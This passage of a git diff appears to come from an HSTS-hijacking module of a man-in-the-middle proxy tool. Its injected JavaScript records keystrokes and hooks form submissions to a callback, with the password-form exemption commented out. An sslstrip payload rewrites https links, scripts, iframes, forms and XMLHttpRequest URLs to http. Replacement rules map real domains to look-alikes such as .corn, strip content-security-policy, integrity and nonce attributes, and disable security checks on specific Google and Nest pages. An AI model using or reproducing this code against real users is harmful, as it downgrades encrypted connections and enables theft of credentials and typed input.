{ + try { + obf_hstshijack_var_keystrokes.push(obf_hstshijack_var_event.key); + obf_hstshijack_func_callback(); + } catch(obf_hstshijack_var_ignore){} + }); + } + + function obf_hstshijack_func_hook_forms() { + document.querySelectorAll("form").forEach(function(obf_hstshijack_var_form){ + // if (obf_hstshijack_var_form.querySelector("input[type=password]")) { + // obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback_whitelist); + // } else { + obf_hstshijack_var_form.addEventListener("submit", obf_hstshijack_func_callback); + // } + }); + } + + function obf_hstshijack_func_hook_inputs() { + document.querySelectorAll("input").forEach(function(obf_hstshijack_var_input){ + obf_hstshijack_var_input.autocomplete = "off"; + }); + } + + var obf_hstshijack_var_hooked_tag = obf_hstshijack_func_random_string(parseInt(8 + Math.random() * 8)); + + try { + obf_hstshijack_func_hook_keyup(); + } catch(obf_hstshijack_var_ignore){} + + try { + obf_hstshijack_func_hook_forms(); + } catch(obf_hstshijack_var_ignore){} + + try { + obf_hstshijack_func_hook_inputs(); + } catch(obf_hstshijack_var_ignore){} + + try { + globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_forms); + globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_inputs); + globalThis.addEventListener("load", obf_hstshijack_func_hook_forms); + globalThis.addEventListener("load", obf_hstshijack_func_hook_inputs); + setInterval(obf_hstshijack_func_hook_forms, 2000); + setInterval(obf_hstshijack_func_hook_inputs, 2000); + } catch(obf_hstshijack_var_ignore){} })(); diff --git a/hstshijack/payloads/sslstrip.js b/hstshijack/payloads/sslstrip.js index 0fec2ba..8abf80d 100644 --- a/hstshijack/payloads/sslstrip.js +++ b/hstshijack/payloads/sslstrip.js @@ -1,72 +1,68 @@ -/* - Hooks XMLHttpRequest as well as 'a', 'form', 'script' & 'iframe' nodes. - - Remember that any occurrence of 'obf_hstshijack_path_ssl_log', 'obf_hstshijack_path_callback' and - 'obf_hstshijack_path_whitelist' in this payload will be replaced when the proxy module - loads and that variable names 'obf_hstshijack_var_target_hosts' and 'obf_hstshijack_var_replacement_hosts' - are already declared before this is injected. -*/ - (function(){ - "use strict"; + "use strict"; - var obf_hstshijack_func_open = XMLHttpRequest.prototype.open; + var obf_hstshijack_func_open = XMLHttpRequest.prototype.open; - function obf_hstshijack_func_hook_XMLHttpRequest() { - XMLHttpRequest.prototype.open = function( - obf_hstshijack_var_method, - obf_hstshijack_var_url, - obf_hstshijack_var_async, - obf_hstshijack_var_username, - obf_hstshijack_var_password - ) { - var obf_hstshijack_var_url = obf_hstshijack_var_url.replace(/(http)s/ig, "$1"); - return obf_hstshijack_func_open.apply(this, arguments); - } - } + function obf_hstshijack_func_hook_XMLHttpRequest() { + XMLHttpRequest.prototype.open = function( + obf_hstshijack_var_method, + obf_hstshijack_var_url, + obf_hstshijack_var_async, + obf_hstshijack_var_username, + obf_hstshijack_var_password + ) { + var obf_hstshijack_var_url = obf_hstshijack_var_url.replace(/(http)s/ig, "$1"); + return obf_hstshijack_func_open.apply(this, arguments); + } + } - function obf_hstshijack_func_hook_nodes() { - document.querySelectorAll("a,iframe,script,form").forEach(function(obf_hstshijack_var_node){ - try { - switch (obf_hstshijack_var_node.tagName) { - case "A": - if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) { - obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1"); - } - break; - case "IFRAME": - if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) { - obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1"); - } - break; - case "SCRIPT": - if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) { - obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1"); - } - break; - case "FORM": - if (obf_hstshijack_var_node.action && obf_hstshijack_var_node.action.match(/^\s*https:/i)) { - obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1"); - } - break; - } - } catch(obf_hstshijack_var_ignore) {} - }); - } + function obf_hstshijack_func_hook_nodes() { + document.querySelectorAll("a,iframe,script,form,link").forEach(function(obf_hstshijack_var_node){ + try { + switch (obf_hstshijack_var_node.tagName) { + case "A": + if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) { + obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1"); + } + break; + case "IFRAME": + if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) { + obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1"); + } + break; + case "SCRIPT": + if (obf_hstshijack_var_node.src && obf_hstshijack_var_node.src.match(/^\s*https:/i)) { + obf_hstshijack_var_node.src = obf_hstshijack_var_node.src.replace(/(http)s/i, "$1"); + } + break; + case "FORM": + if (obf_hstshijack_var_node.action && obf_hstshijack_var_node.action.match(/^\s*https:/i)) { + obf_hstshijack_var_node.action = obf_hstshijack_var_node.action.replace(/(http)s/i, "$1"); + } + break; + case "LINK": + if (obf_hstshijack_var_node.href && obf_hstshijack_var_node.href.match(/^\s*https:/i)) { + obf_hstshijack_var_node.href = obf_hstshijack_var_node.href.replace(/(http)s/i, "$1"); + } + break; + } + } catch(obf_hstshijack_var_ignore) {} + }); + } - try { - obf_hstshijack_func_hook_XMLHttpRequest(); - } catch(obf_hstshijack_var_ignore) {} + try { + obf_hstshijack_func_hook_XMLHttpRequest(); + } catch(obf_hstshijack_var_ignore) {} - try { - obf_hstshijack_func_hook_nodes(); - } catch(obf_hstshijack_var_ignore) {} + try { + obf_hstshijack_func_hook_nodes(); + } catch(obf_hstshijack_var_ignore) {} - try { - obf_hstshijack_func_hook_XMLHttpRequest(); - globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_nodes); - globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes); - setInterval(obf_hstshijack_func_hook_nodes, 4000); - } catch(obf_hstshijack_var_ignore) {} + try { + obf_hstshijack_func_hook_XMLHttpRequest(); + globalThis.addEventListener("DOMContentLoaded", obf_hstshijack_func_hook_nodes); + globalThis.addEventListener("load", obf_hstshijack_func_hook_nodes); + setInterval(obf_hstshijack_func_hook_nodes, 4000); + } catch(obf_hstshijack_var_ignore) {} })(); diff --git a/hstshijack/replacements/req.Body.json b/hstshijack/replacements/req.Body.json new file mode 100644 index 0000000..df941b3 --- /dev/null +++ b/hstshijack/replacements/req.Body.json @@ -0,0 +1,18 @@ +{ + "*": [ + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "https$1$2.net$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "https$1$2clarity.ms$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "https$1$2.nl$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "https$1$2.me$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "https$1$2.google$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "https$1$2.cn$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "wss$1$2.com$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "wss$1$2.net$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "wss$1$2clarity.ms$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "wss$1$2.nl$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "wss$1$2.me$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "wss$1$2.google$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "wss$1$2.cn$3"] + ] +} diff --git a/hstshijack/whitelist.json b/hstshijack/replacements/req.Headers.json similarity index 100% rename from hstshijack/whitelist.json rename to hstshijack/replacements/req.Headers.json diff --git a/hstshijack/replacements/req.URL.json b/hstshijack/replacements/req.URL.json new file mode 100644 index 0000000..b8e8731 --- /dev/null +++ b/hstshijack/replacements/req.URL.json @@ -0,0 +1,22 @@ +{ + "path": {}, + "port": {}, + "query": { + "*": [ + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "https$1$2.com$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "https$1$2.net$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "https$1$2clarity.ms$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "https$1$2.nl$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "https$1$2.me$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "https$1$2.google$3"], + ["http(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "https$1$2.cn$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]corn([^a-z0-9-.]|$)", "ig", "wss$1$2.com$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]nel([^a-z0-9-.]|$)", "ig", "wss$1$2.net$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]{0,253})clarity[.]ns([^a-z0-9-.]|$)", "ig", "wss$1$2clarity.ms$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ni([^a-z0-9-.]|$)", "ig", "wss$1$2.nl$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]rne([^a-z0-9-.]|$)", "ig", "wss$1$2.me$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]googl([^a-z0-9-.]|$)", "ig", "wss$1$2.google$3"], + ["ws(://|%3a%2f%2f)([a-z0-9-.]+)[.]ch([^a-z0-9-.]|$)", "ig", "wss$1$2.cn$3"] + ] + } +} diff --git a/hstshijack/replacements/res.Body.json b/hstshijack/replacements/res.Body.json new file mode 100644 index 0000000..90b12cf --- /dev/null +++ b/hstshijack/replacements/res.Body.json @@ -0,0 +1,50 @@ +{ + "html": { + "*": [ + ["(['\"`](?:http|ws)|sourceMappingURL=http)s", "ig", "$1"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"], + [" http-equiv=['\"]?content-security-policy(?:-report-only)?['\"]?([ />])", "ig", "$1"], + [" integrity=['\"][^'\"]+['\"]([ />])", "ig", "$1"], + [" nonce=[\"][^\"]+['\"]([ />])", "ig", "$1"] + ], + "home.nest.com": [ + ["document.domain = ", "g", "//"] + ] + }, + "javascript": { + "*": [ + ["((?:['\"`]|sourceMappingURL=)(?:http|ws))s", "ig", "$1"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"], + ["((?:['\"`](?:(?:http|ws)://|//)?|sourceMappingURL=http://)[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"] + ], + "apis.google.com": [ + ["(V=function\\(a\\)\\{)", "g", "$1if(1)return;"] + ], + "home.nest.com": [ + ["(ensureSafe:function\\(e\\)\\{)", "g", "$1if(1)return;"] + ] + }, + "json": { + "*": [ + ["(\"(?:http|ws))s", "ig", "$1"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]com([^a-z0-9-.]|$)", "ig", "$1.corn$2"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]net([^a-z0-9-.]|$)", "ig", "$1.nel$2"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]{0,253})clarity[.]ms([^a-z0-9-.]|$)", "ig", "$1clarity.ns$2"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]nl([^a-z0-9-.]|$)", "ig", "$1.ni$2"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]me([^a-z0-9-.]|$)", "ig", "$1.rne$2"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]google([^a-z0-9-.]|$)", "ig", "$1.googl$2"], + ["(\"(?:(?:http|ws)://|//)?[a-z0-9-.]+)[.]cn([^a-z0-9-.]|$)", "ig", "$1.ch$2"] + ] + } +} diff --git a/hstshijack/replacements/res.Headers.json b/hstshijack/replacements/res.Headers.json new file mode 100644 index 0000000..abc51ce --- /dev/null +++ b/hstshijack/replacements/res.Headers.json @@ -0,0 +1,3 @@ +{ + "accounts.google.com": [] +} diff --git a/hstshijack/session/whitelist.json b/hstshijack/session/whitelist.json new file mode 100644 index 0000000..0967ef4 --- /dev/null +++ b/hstshijack/session/whitelist.json @@ -0,0 +1 @@ +{} diff --git a/hstshijack/domains.txt b/hstshijack/ssl/domains.txt similarity index 100% rename from hstshijack/domains.txt rename to hstshijack/ssl/domains.txt diff --git a/hstshijack/index.json b/hstshijack/ssl/index.json similarity index 75% rename from hstshijack/index.json rename to hstshijack/ssl/index.json index 69a88e3..0967ef4 100644 --- a/hstshijack/index.json +++ b/hstshijack/ssl/index.json @@ -1 +1 @@ -{} +{}